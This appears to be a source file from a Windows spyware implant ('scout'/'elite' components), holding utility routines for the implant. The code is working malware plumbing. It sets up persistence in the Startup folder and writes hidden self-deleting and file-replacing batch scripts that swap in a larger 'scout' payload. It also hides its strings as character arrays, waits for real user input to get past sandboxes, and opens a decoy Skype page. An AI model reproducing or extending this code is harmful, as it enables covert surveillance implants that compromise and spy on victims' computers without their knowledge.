#include <Windows.h>

#include "globals.h"
#include "zmem.h"
#include "utils.h"
#include "binpatch.h"
#include "mayhem.h"
#include "proto.h"
#include "debug.h"
#include "JSON.h"
#include "crypt.h"

#define _INCLUDE_GLOBAL_FUNCTIONS_
#include "version.h"

HKEY GetRegistryKeyHandle(__in HKEY hParentKey, __in LPWSTR strSubKey, __in DWORD dwSamDesidered)
{
	HKEY hKey;
	DWORD dwRet = RegOpenKeyEx(hParentKey, 
		strSubKey, 
		0, 
		dwSamDesidered, //bWrite ? KEY_QUERY_VALUE|KEY_SET_VALUE|KEY_CREATE_SUB_KEY|KEY_ENUMERATE_SUB_KEYS : KEY_QUERY_VALUE|KEY_ENUMERATE_SUB_KEYS,
		&hKey);

	if (dwRet != ERROR_SUCCESS)
	{
#ifdef _DEBUG
		OutputDebug(L"[!!] RegOpenKeyEx failed for %08x\\%s ==> %08x\n", hParentKey, strSubKey, GetLastError());
		__asm int 3;
#endif
		return NULL;
	}

	return hKey;
}

BOOL GetRegistryValue(__in HKEY hRootKey, __in LPWSTR strSubKey, __in LPWSTR strKeyName, __out LPVOID lpBuffer, __in DWORD dwBuffSize, __in DWORD dwSam)
{
	if (dwBuffSize)
		SecureZeroMemory(lpBuffer, dwBuffSize);

	HKEY hKey = GetRegistryKeyHandle(hRootKey, strSubKey, dwSam);
	if (hKey == NULL)
		return FALSE;

	DWORD dwLen = dwBuffSize;
	if (RegQueryValueEx(hKey, strKeyName, NULL, NULL, (LPBYTE) lpBuffer, &dwLen) != ERROR_SUCCESS)
	{
#ifdef _DEBUG
//		OutputDebug(L"[!!] GetRegistryValue: RegQueryValue => %08x\n", GetLastError());
//		__asm int 3;
#endif
		RegCloseKey(hKey);
		return FALSE;
	}

	RegCloseKey(hKey);
	return TRUE;
}

LPSTR GetEliteSharedMemoryName()
{
	LPSTR pName = (LPSTR) zalloc(8);
	memcpy(pName, WMARKER, 7); 
	return pName;
}

/*
LPWSTR GetScoutSharedMemoryName()
{
	WCHAR strFormat[] = { L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'\0' };
	LPWSTR pName = (LPWSTR)zalloc(18 * sizeof(WCHAR));

	_snwprintf_s(pName, 
		18,
		_TRUNCATE,
		strFormat,
		pServerKey[5], pServerKey[6], pServerKey[5], pServerKey[4], pServerKey[3], pServerKey[2], pServerKey[1], pServerKey[0]);

		//L"%02X%02X%02X%02X%02X%02X%02X", 
		//pServerKey[6], pServerKey[5], pServerKey[4], pServerKey[3], pServerKey[2], pServerKey[1], pServerKey[0]);

	return pName;
}
*/

BOOL ExistsEliteSharedMemory()
{
	HANDLE hMem;
	LPSTR pName;
	BOOL bRet = FALSE;
	
	pName = GetEliteSharedMemoryName();
	hMem = OpenFileMappingA(FILE_MAP_READ, FALSE, pName);
	if (hMem)
	{
		bRet = TRUE;
		CloseHandle(hMem);
	}

	zfree(pName);
	return bRet;
}

BOOL ExistsScoutSharedMemory()
{
	HANDLE hMem;
	LPWSTR pName;
	BOOL uRet = FALSE;
	
	pName = GetScoutSharedMemoryName();
	hMem = OpenFileMapping(FILE_MAP_READ, FALSE, pName);

	if (hMem)
	{
		uRet = TRUE;
		CloseHandle(hMem);
	}

	zfree(pName);
	return uRet;
}


BOOL CreateScoutSharedMemory()
{
	BOOL bRet = FALSE;
	LPWSTR pName;
	
#ifdef _DEBUG
	OutputDebug(L"[+] Creating scout shared memory\n");
#endif
	if (ExistsScoutSharedMemory())
		return FALSE;

	pName = GetScoutSharedMemoryName();
	hScoutSharedMemory = CreateFileMapping(INVALID_HANDLE_VALUE, 
		NULL,
		PAGE_READWRITE,
		0,
		SHARED_MEMORY_WRITE_SIZE,
		pName);

	if (hScoutSharedMemory)
		bRet = TRUE;
	
	zfree(pName);
	return bRet;
}

BOOL CreateRegistryKey(HKEY hBaseKey, LPWSTR strSubKey, DWORD dwOptions, DWORD dwPermissions, PHKEY hOutKey)
{
	HKEY hKey;
	DWORD dwRet = RegCreateKeyEx(hBaseKey, strSubKey, 0, NULL, dwOptions, dwPermissions, NULL, &hKey, NULL); 
	if (dwRet != ERROR_SUCCESS)
		return FALSE;

	if (!hOutKey)
		RegCloseKey(hKey);
	else
		*hOutKey = hKey;

	return TRUE;
}

LPWSTR GetStartupPath()
{
	LPWSTR pStartupPath = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
	LPWSTR pShortPath = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
	
	SHGetSpecialFolderPath(NULL, pStartupPath, CSIDL_STARTUP, FALSE);
	GetShortPathName(pStartupPath, pShortPath, MAX_FILE_PATH - 1);

	zfree(pStartupPath);
	return pShortPath;
}

LPWSTR GetStartupScoutName()
{
	LPWSTR pStartupPath = GetStartupPath();
	LPWSTR pFullPath = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
	
	_snwprintf_s(pFullPath, MAX_FILE_PATH - 1, _TRUNCATE, L"%s\\%S.exe", pStartupPath, SCOUT_NAME);

	zfree(pStartupPath);
	return pFullPath;
}

VOID IsX64System(__out PBOOL bIsWow64, __out PBOOL bIsx64OS)
{    
    SYSTEM_INFO SysInfo;
	IsWow64Process((HANDLE)-1, bIsWow64);

	GetNativeSystemInfo(&SysInfo);
	if(SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
		*bIsx64OS = FALSE;
	else
		*bIsx64OS = TRUE;

	return;
}

LPWSTR GetMySelfName()
{
	LPWSTR pName = (LPWSTR) zalloc((MAX_FILE_PATH*2+1) * sizeof(WCHAR));
	LPWSTR pShort = (LPWSTR) zalloc((MAX_FILE_PATH*2+1) * sizeof(WCHAR));
	
	GetModuleFileName(NULL, pName, MAX_FILE_PATH*2);
	if (!GetShortPathName(pName, pShort, MAX_FILE_PATH*2))
	{
		zfree(pShort);
		return pName;
	}

	zfree(pName);
	return pShort;
}

BOOL AmIFromStartup()
{
	BOOL uRet;
	
	LPWSTR pStartupPath = GetStartupPath();
	LPWSTR pCurrentPath = GetMySelfName();

	if (StrRChr(pCurrentPath, NULL, L'\\'))
		*(StrRChr(pCurrentPath, NULL, L'\\')) = L'\0';

	if (StrCmpI(pCurrentPath, pStartupPath))
		uRet = FALSE;
	else
		uRet = TRUE;
	
	zfree(pStartupPath);
	zfree(pCurrentPath);
	
	return uRet;
}

VOID MySleep(__in LONG dwTime) // dwTime MUST be signed
{
	if (!hScoutMessageWindow)
		return Sleep(dwTime * 1000);

	LARGE_INTEGER fTime;
	__int64 qwDueTime = ((dwTime * -1L)) * 10000000;
	fTime.LowPart = (DWORD) (qwDueTime & 0xFFFFFFFF);
	fTime.HighPart = (LONG) (qwDueTime >> 32);

	if (!hMsgTimer)
		hMsgTimer = CreateWaitableTimer(NULL, FALSE, L"MSG_TIMER");

	if (hMsgTimer && SetWaitableTimer(hMsgTimer, &fTime, 0, NULL, NULL, FALSE))
		WaitForSingleObject(hMsgTimer, INFINITE);
	else
		Sleep(dwTime * 1000);
}


LPWSTR GetTemp()
{
	LPWSTR pTemp = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
	LPWSTR pShort = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
	
	GetEnvironmentVariable(L"TMP", pTemp, MAX_FILE_PATH); // FIXME GetTempPath
	GetShortPathName(pTemp, pShort, 4096);
	
	zfree(pTemp);
	return pShort;
}

VOID DeleteAndDie(__in BOOL bDie)
{
	HANDLE hFile;
	char batch_format[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 };

	if (hScoutSharedMemory)
	{
		CloseHandle(hScoutSharedMemory);	
		hScoutSharedMemory = NULL;
	}


	LPWSTR pTempPath = GetTemp();
	LPWSTR pBatFileName = (LPWSTR)zalloc(MAX_FILE_PATH * sizeof(WCHAR));

	ULONG uTick = GetTickCount();
	do
	{
		_snwprintf_s(pBatFileName, MAX_FILE_PATH, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++);
		hFile = CreateFile(pBatFileName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
		if (hFile && hFile != INVALID_HANDLE_VALUE)
			break;
	}
	while(1);

#ifdef _DEBUG
	OutputDebug(pBatFileName);	
#endif

	// get full filename in startup
	LPWSTR pExeFileName = GetMySelfName();

	// create batch buffer
	ULONG uSize = strlen(batch_format) + 32676*3 + 1;
	LPSTR pBatchBuffer = (LPSTR) zalloc(uSize);
	memset(pBatchBuffer, 0x0, uSize);
	_snprintf_s(pBatchBuffer, uSize, _TRUNCATE, batch_format, pExeFileName, pExeFileName, pBatFileName);

#ifdef _DEBUG
	OutputDebug(pExeFileName);	
#endif

	// write it
	ULONG uOut;
	WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
	CloseHandle(hFile);

	if (StartBatch(pBatFileName))
	{
		if (bDie)
			ExitProcess(0);
		else
			return;
	}
#ifdef _DEBUG
	else
	{
		OutputDebug(L"[!!] Error executing autodelete batch!!\n");
		__asm int 3;
	}
#endif
	zfree(pBatFileName);
	zfree(pExeFileName);
	zfree(pBatchBuffer);
	zfree(pTempPath);

}


BOOL StartBatch(__in LPWSTR pName)
{
	BOOL bRet;
		
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	LPWSTR pApplicationName = (LPWSTR) zalloc(4096 * sizeof(WCHAR));
	WCHAR pTempInterpreter[] = { L'%', L'S', L'Y', L'S', L'T', L'E', L'M', L'R', L'O', L'O', L'T', L'%', L'\\', L's', L'y', L's', L't', L'e', L'm', L'3', L'2', L'\\', L'c', L'm', L'd', L'.', L'e', L'x', L'e', 0x0 };
	LPWSTR pInterpreter = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));

	ExpandEnvironmentStrings(pTempInterpreter, pInterpreter, MAX_FILE_PATH * sizeof(WCHAR));
	_snwprintf_s(pApplicationName, 4095, _TRUNCATE, L"/c %s", pName);

	SecureZeroMemory(&si, sizeof(STARTUPINFO));
	SecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

	si.cb = sizeof(si);
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	
	if (FakeConditionalVersion())
	{
		ShellExecute(NULL, L"open", L"http://en.wikipedia.org/wiki/Skype", NULL, NULL, SW_SHOWNORMAL);
		exit(0);
	}
	else
		bRet = CreateProcess(pInterpreter, pApplicationName, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

	zfree(pApplicationName);
	zfree(pInterpreter);	
	return bRet;
}

VOID CreateCopyBatch(LPWSTR pSource, LPWSTR pDest, LPWSTR *pBatchOutName)
{
	HANDLE hFile;
	ULONG uTick ,uOut;
	LPWSTR pTempPath = GetTemp();
	LPWSTR pBatchName = (LPWSTR) zalloc(32767*sizeof(WCHAR));
	CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', '%', 'S', '"', ' ', '>', '"', '%', 'S', '"', 0x0};
	PCHAR pBatchBuffer = (PCHAR) zalloc(strlen(pBatchFormat) + (32767 * 3));

	uTick = GetTickCount();
	do
	{
		WCHAR pName[] = { L'%', L's', L'\\', L'%', L'd', L'.', L'b', L'a', L't', L'\0' };
		_snwprintf_s(pBatchName, 32766, _TRUNCATE, pName, pTempPath, uTick++);
		hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
		if (hFile && hFile != INVALID_HANDLE_VALUE)
			break;
	}
	while (1);

	_snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, pSource, pDest);
	WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
	CloseHandle(hFile);

	*pBatchOutName = pBatchName;

	zfree(pBatchBuffer);
	zfree(pTempPath);
}

VOID CreateDeleteBatch(__in LPWSTR pFileName, __in LPWSTR *pBatchOutName)
{
	HANDLE hFile;
	ULONG uTick, uOut;
	LPWSTR pTempPath = GetTemp();
	LPWSTR pBatchName = (LPWSTR) zalloc(MAX_FILE_PATH*sizeof(WCHAR));
	CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 };
	LPSTR pBatchBuffer = (LPSTR) zalloc(strlen(pBatchFormat) + (MAX_FILE_PATH * 3));
	
	uTick = GetTickCount();
	do
	{
		_snwprintf_s(pBatchName, MAX_FILE_PATH, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++);
		hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
		if (hFile && hFile != INVALID_HANDLE_VALUE)
			break;
	}
	while (1);

	_snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (MAX_FILE_PATH * 3), _TRUNCATE, pBatchFormat, pFileName, pFileName, pBatchName); 
	WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
	CloseHandle(hFile);

	*pBatchOutName = pBatchName;

	zfree(pBatchBuffer);
	zfree(pTempPath);
}


VOID CreateReplaceBatch(__in LPWSTR pOldFile, __in LPWSTR pNewFile, __in LPWSTR *pBatchOutName)
{
	HANDLE hFile;
	ULONG uTick, uOut;
	LPWSTR pTempPath = GetTemp();
	LPWSTR pBatchName = (LPWSTR) zalloc(MAX_FILE_PATH*sizeof(WCHAR));
	CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', '%', 'S', '"', ' ', '>', ' ', '"', '%', 'S', '"', '\r', '\n', 's', 't', 'a', 'r', 't', ' ', '/', 'B', ' ', 'c', 'm', 'd', ' ', '/', 'c', ' ', '"', '%', 'S', '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 };
	LPSTR pBatchBuffer = (LPSTR) zalloc(strlen(pBatchFormat) + (MAX_FILE_PATH * 3));

	uTick = GetTickCount();
	do
	{
		_snwprintf_s(pBatchName, MAX_FILE_PATH, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++);
		hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
		if (hFile && hFile != INVALID_HANDLE_VALUE)
			break;
	}
	while (1);

	_snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (MAX_FILE_PATH * 3), _TRUNCATE, pBatchFormat, pOldFile, pOldFile, pNewFile, pOldFile, pOldFile, pNewFile, pBatchName); 
	WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
	CloseHandle(hFile);

	*pBatchOutName = pBatchName;

	zfree(pBatchBuffer);
	zfree(pTempPath);
}

HRESULT CreateItemFromParsingName(__in LPWSTR strFileName, __out  IShellItem **psi)
{
	PIDLIST_ABSOLUTE pidl;
	HRESULT hr = SHParseDisplayName(strFileName, 0, &pidl, SFGAO_FOLDER, 0);
	if (SUCCEEDED(hr))
	{
		hr = SHCreateShellItem(NULL, NULL, pidl, psi);
		if (SUCCEEDED(hr))
			return S_OK;
	}

	return E_FAIL;
}

VOID BatchCopyFile(__in LPWSTR pSource, __in LPWSTR pDest)
{
	LPWSTR pBatchName;
	
	CreateCopyBatch(pSource, pDest, &pBatchName);
	StartBatch(pBatchName);
	MySleep(8);

	DeleteFile(pBatchName);
	DeleteFile(pBatchName);
	
	zfree(pBatchName);
}

HRESULT ComCopyFile(__in LPWSTR strSourceFile, __in LPWSTR strDestDir, __in_opt LPWSTR strNewName)
{
	IFileOperation *pfo;
	HRESULT hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pfo));

	if (SUCCEEDED(hr))
	{
		hr = pfo->SetOperationFlags(FOF_NO_UI);
		if (SUCCEEDED(hr))
		{
			IShellItem *psiFrom = NULL;
			//hr = SHCreateItemFromParsingName(strSourceFile, NULL, IID_PPV_ARGS(&psiFrom));
			hr = CreateItemFromParsingName(strSourceFile, &psiFrom);

			if (SUCCEEDED(hr))
			{
				IShellItem *psiTo = NULL;
				if (NULL != strDestDir)
					hr = CreateItemFromParsingName(strDestDir, &psiTo);
					//hr = SHCreateItemFromParsingName(strDestDir, NULL, IID_PPV_ARGS(&psiTo));

				if (SUCCEEDED(hr))
				{
					hr = pfo->CopyItem(psiFrom, psiTo, strNewName, NULL);

					if (NULL != psiTo)
						psiTo->Release();
				}                   
				psiFrom->Release();
			}

			if (SUCCEEDED(hr))
				hr = pfo->PerformOperations(); // copy file
		}
		pfo->Release();
	}

	return hr;
}


VOID WaitForInput()
{
	ULONG uLastInput;
	LASTINPUTINFO pLastInputInfo;
	
#ifdef _DEBUG
	OutputDebug(L"[+] FIRST_WAIT\n");
#endif
	MySleep(WAIT_INPUT);

	pLastInputInfo.cbSize = sizeof(LASTINPUTINFO);
	GetLastInputInfo(&pLastInputInfo);
	uLastInput = pLastInputInfo.dwTime;

	while (1)
	{
		pLastInputInfo.cbSize = sizeof(LASTINPUTINFO);
		if (GetLastInputInfo(&pLastInputInfo))
		{
			if (pLastInputInfo.dwTime != uLastInput)
				break;
		}
		else
		{
#ifdef _DEBUG
			OutputDebug(L"[+] GetLastInput FAILED\n");
			__asm int 3;
#endif
			MySleep(3);
			break;
		}

#ifdef _DEBUG
		OutputDebug(L"[+] Waiting for input...\n");
#endif
		MySleep(3);
	}
}

ULONG GetRandomInt(__in ULONG uMin, __in ULONG uMax)
{
	if (uMax < (ULONG) 0xFFFFFFFF)
		uMax++;

	return (rand()%(uMax-uMin))+uMin;
}

LPWSTR GetRandomStringW(__in ULONG uMin)
{
	LPWSTR pString = (LPWSTR) zalloc((uMin + 64) * sizeof(WCHAR));

	while(wcslen(pString) < uMin)
	{
		WCHAR pSubString[32] = { 0x0, 0x0 };

		_itow_s(GetRandomInt(1, 0xffffff), pSubString, 6, 0x10);
		wcscat_s(pString, uMin + 64, pSubString);
	}

	return pString;
}

LPSTR GetRandomStringA(__in ULONG uMin)
{
	LPSTR pString = (LPSTR) zalloc(uMin + 64);

	while(strlen(pString) < uMin)
	{
		CHAR pSubString[32] = { 0x0, 0x0 };

		_itoa_s(GetRandomInt(1, 0xffffff), pSubString, 6, 0x10);
		strcat_s(pString, uMin + 64, pSubString);
	}

	return pString;
}

LPBYTE GetRandomData(__in DWORD dwBuffLen)
{
	LPBYTE lpBuffer = (LPBYTE) zalloc(dwBuffLen);
	AppendRandomData(lpBuffer, dwBuffLen);
	return lpBuffer;
}

VOID AppendRandomData(PBYTE pBuffer, DWORD uBuffLen)
{
	DWORD i;
	static BOOL uFirstTime = TRUE;

	if (uFirstTime) {
		srand(GetTickCount());
		uFirstTime = FALSE;
	}

	for (i=0; i<uBuffLen; i++)
		pBuffer[i] = rand();
}

ULONG Align(__in ULONG uSize, __in ULONG uAlignment)
{
	return (((uSize + uAlignment - 1) / uAlignment) * uAlignment);
}

LPBYTE MapFile(LPWSTR strFileName, DWORD dwSharemode)
{
	HANDLE hFile = CreateFile(strFileName, GENERIC_READ, dwSharemode, NULL, OPEN_EXISTING, 0, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
		return NULL;

	DWORD dwSize = GetFileSize(hFile, NULL);
	if (dwSize == INVALID_FILE_SIZE || dwSize == 0)
	{
		CloseHandle(hFile);
		return NULL;
	}

	LPBYTE lpBuffer = (LPBYTE) zalloc(dwSize + sizeof(WCHAR));
	if (!lpBuffer)
	{
		CloseHandle(hFile);
		return NULL;
	}

	DWORD dwOut;
	if (!ReadFile(hFile, lpBuffer, dwSize, &dwOut, NULL))
	{
		CloseHandle(hFile);
		zfree(lpBuffer);
		return NULL;
	}
	CloseHandle(hFile);

	if (dwOut != dwSize)
	{
		zfree(lpBuffer);
		return NULL;
	}

	return lpBuffer;
}


VOID URLDecode(__in LPSTR strUrl)
{
	LPSTR strDecodedUrl = strUrl;
	CHAR strCharCode[3] = {0};
	DWORD dwAscii = 0;
	LPSTR strEnd = NULL;

	while(*strUrl) {
		if(*strUrl=='\\' && *(strUrl+1)=='u') {
			strUrl+=4;
			memcpy(strCharCode, strUrl, 2);
			dwAscii = strtoul(strCharCode, &strEnd, 16);
			*strDecodedUrl++ = (char)dwAscii;
			strUrl += 2;
		} else
			*strDecodedUrl++ = *strUrl++;
	}
	*strDecodedUrl = 0;
}

LPWSTR UTF8_2_UTF16(LPSTR strSource)
{
	DWORD dwLen;
	LPWSTR strDest;

	if ( (dwLen = MultiByteToWideChar(CP_UTF8, 0, strSource, -1, NULL, 0)) == 0 )
		return NULL;

	if (!(strDest = (WCHAR *) zalloc(dwLen*sizeof(WCHAR))))
		return NULL;

	if (MultiByteToWideChar(CP_UTF8, 0, strSource, -1, strDest, dwLen) == 0 ) {
		zfree(strDest);
		return NULL;
	}

	return strDest;
}

VOID JsonDecode(__in LPSTR strSource)
{
	WCHAR *strUTF16, *strPtr;
	DWORD size;
	std::wstring decode_16=L"";

	size = strlen(strSource);
	strPtr = strUTF16 = UTF8_2_UTF16(strSource);
	if (!strUTF16) 
		return;

	JSON::ExtractString((const wchar_t **)&strUTF16, decode_16);
	if (wcslen(decode_16.c_str())>0)
		WideCharToMultiByte(CP_UTF8, 0, decode_16.c_str(), -1, strSource, size, 0 , 0);

	zfree(strPtr);
}

LPWSTR CreateTempFile()
{
	WCHAR pTempPath[MAX_PATH + 1];
	LPWSTR pShortTempPath = (LPWSTR) zalloc((MAX_PATH + 1)*sizeof(WCHAR));
	LPWSTR pTempFileName = (LPWSTR) zalloc((MAX_PATH + 1)*sizeof(WCHAR));
	LPWSTR pShortTempFileName = (LPWSTR) zalloc((MAX_PATH + 1)*sizeof(WCHAR));
	
	memset(pTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));
	memset(pShortTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));
	memset(pTempFileName, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));
	memset(pShortTempFileName, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));

	GetTempPath(MAX_PATH + 1, pTempPath);
	GetShortPathName(pTempPath, pShortTempPath, (MAX_PATH + 1)*sizeof(WCHAR));

	GetTempFileName(pTempPath, L"00", 0, pTempFileName);
	GetShortPathName(pTempFileName, pShortTempFileName, (MAX_PATH + 1)*sizeof(WCHAR));

	zfree(pShortTempPath);
	zfree(pTempFileName);
	
	return pShortTempFileName;
}



BOOL WMIExecQueryGetProp(IWbemServices *pSvc, LPWSTR strQuery, LPWSTR strField,  LPVARIANT lpVar)
{
	BOOL bRet = FALSE;
	IEnumWbemClassObject *pEnum;
	
	BSTR bstrQuery = SysAllocString(strQuery);
	BSTR bstrField = SysAllocString(strField);
	
	WCHAR strWQL[] = { L'W', L'Q', L'L', L'\0' };
	BSTR bWQL = SysAllocString(strWQL);

	HRESULT hr = pSvc->ExecQuery(bWQL, bstrQuery, 0, NULL, &pEnum);
	if (hr == S_OK)
	{
		ULONG uRet;
		IWbemClassObject *apObj;
		hr = pEnum->Next(5000, 1, &apObj, &uRet);
		if (hr == S_OK)
		{
			hr = apObj->Get(bstrField, 0, lpVar, NULL, NULL);
			if (hr == WBEM_S_NO_ERROR)
				bRet = TRUE;

			apObj->Release();
		}
		pEnum->Release();
	}

	SysFreeString(bstrQuery);
	SysFreeString(bstrField);
	SysFreeString(bWQL);
	
	return bRet;
}

BOOL WMIExecQuerySearchEntryHash(IWbemServices *pSvc, LPWSTR strQuery, LPWSTR strField, LPBYTE pSearchHash, LPVARIANT lpVar)
{
	BOOL bFound = FALSE;
	IEnumWbemClassObject *pEnum;
	WCHAR strWQL[] = { L'W', L'Q', L'L', L'\0' };
	
	BSTR bWQL = SysAllocString(strWQL);
	BSTR bstrQuery = SysAllocString(strQuery);
	BSTR bstrField = SysAllocString(strField);

	HRESULT hr = pSvc->ExecQuery(bWQL, bstrQuery, 0, NULL, &pEnum);
	if (hr == S_OK)
	{
		ULONG uRet;
		IWbemClassObject *apObj;

		while (pEnum->Next(5000, 1, &apObj, &uRet) == S_OK)
		{
			hr = apObj->Get(bstrField, 0, lpVar, NULL, NULL);
			if (hr != WBEM_S_NO_ERROR ||  lpVar->vt != VT_BSTR)
				continue;

			BYTE pSha1Buffer[20];
			CalculateSHA1(pSha1Buffer, (LPBYTE)lpVar->bstrVal, 21*sizeof(WCHAR));
			if (!memcmp(pSha1Buffer, pSearchHash, 20))
				bFound = TRUE;

			apObj->Release();
		}

		pEnum->Release();
	}

	SysFreeString(bstrQuery);
	SysFreeString(bstrField);
	SysFreeString(bWQL);

	return bFound;
}

VOID CreateFileReplacerBatch(__in PWCHAR lpGarbageFile, __in PWCHAR lpScoutStartupPath, __out PWCHAR *pBatchOutName)
{
	HANDLE hFile;
	ULONG uTick, uOut;
	PWCHAR pTempPath = GetTemp();
	PWCHAR pBatchName = (PWCHAR) malloc(32767*sizeof(WCHAR));
	
	/* 
		@echo off
		:t
		timeout 1
		for /f %%i in ('tasklist /FI "IMAGENAME eq %S"  ^| find /v /c ""' ) do set YO=%%i   # 1) current process name
		if %YO%==4 goto :t
		type "%S" > "%S"									  # 2) fat scout file , 3) scout path in startup
		start /B cmd /c "%S"								  # 4) scout path in startup
		del /F "%S"											  # 5) temp scout file 
		del /F "%S"											  # 6) batch file 
	*/
	
	CHAR pBatchFormat[] = { '@','e','c','h','o',' ','o','f','f', '\r', '\n', ':','t', '\r', '\n', 't', 'i', 'm', 'e', 'o', 'u', 't', ' ', '1', '\r', '\n', 'f', 'o', 'r', ' ', '/', 'f', ' ', '%', '%', '%', '%','i', ' ', 'i', 'n',' ','(', '\'', 't','a','s','k','l','i','s','t',' ','/','F','I',' ','"','I','M','A','G','E','N','A','M','E',' ','e','q',' ','%','S','"',' ', '^','|',' ','f','i','n','d', ' ', '/', 'v', ' ', '/', 'c', ' ', '"', '"', '\'',' ',')', ' ', 'd', 'o', ' ', 's', 'e', 't', ' ', 'Y', 'O', '=', '%', '%', '%', '%', 'i', '\r', '\n', 'i','f',' ', '%', '%', 'Y', 'O', '%', '%', '=', '=', '4', ' ','g','o','t','o',' ',':','t', '\r', '\n', 't','y','p','e',' ','"','%','S','"',' ','>', ' ','"','%','S','"', '\r', '\n', 's','t','a','r','t',' ','/','B',' ','c','m','d',' ','/','c',' ','"','%','S','"', '\r', '\n',  'd','e','l',' ','/','F',' ','"','%','S','"', '\r', '\n', 	'd','e','l',' ','/','F',' ','"','%','S','"', 0x0 };


	PCHAR pBatchBuffer = (PCHAR) malloc(strlen(pBatchFormat) + (32767 * 3));

	uTick = GetTickCount();
	do
	{
		_snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++);
		hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
		if (hFile && hFile != INVALID_HANDLE_VALUE)
			break;
	}
	while (1);

	WCHAR lpFullImageName[MAX_PATH*2];
	GetModuleFileName(NULL, lpFullImageName, MAX_PATH*2);
	PWCHAR lpImageName = PathFindFileName(lpFullImageName);

	_snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, lpImageName, lpGarbageFile, lpScoutStartupPath, lpScoutStartupPath, lpGarbageFile, pBatchName); 
	WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
	CloseHandle(hFile);

#ifdef _DEBUG
	OutputDebugString(pBatchName);
	OutputDebugString(L"\n");
	OutputDebugString(lpImageName);
	OutputDebugString(L"\n");
	OutputDebugStringA(pBatchBuffer);
#endif


	*pBatchOutName = pBatchName;

	free(pBatchBuffer);
	free(pTempPath);
}


void UnixTimeToFileTime(time_t t, LPFILETIME pft)
{
	// Note that LONGLONG is a 64-bit value
	LONGLONG ll;

	ll = Int32x32To64(t, 10000000) + 116444736000000000;
	pft->dwLowDateTime = (DWORD)ll;
	pft->dwHighDateTime = ll >> 32;
}

void UnixTimeToSystemTime(time_t t, LPSYSTEMTIME pst)
{
	FILETIME ft;

	UnixTimeToFileTime(t, &ft);
	FileTimeToSystemTime(&ft, pst);
}

/*
